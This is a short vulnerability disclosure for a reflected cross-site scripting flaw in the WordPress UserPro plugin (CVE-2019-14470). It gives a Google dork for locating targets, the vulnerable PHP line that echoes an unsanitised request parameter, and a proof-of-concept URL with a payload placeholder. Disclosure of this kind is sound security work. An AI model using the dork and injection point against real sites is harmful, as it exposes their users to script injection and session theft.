WordPress UserPro versions 4.9.32 and below suffer from a cross site scripting vulnerability.
a1fb821e7222b236cf38976fc6298804# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470
The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).
There is more vulnerable code in 'UserPro' core, might release that later.
As of today (25 August 2019) this issue is unfixed.
Vulnerable code: (success.php on line 36)
if (isset($_GET['error'])) {
echo 'An error occurred: ' . $_GET['error_description'];
}
> https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36
Proof-of-Concept:
https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>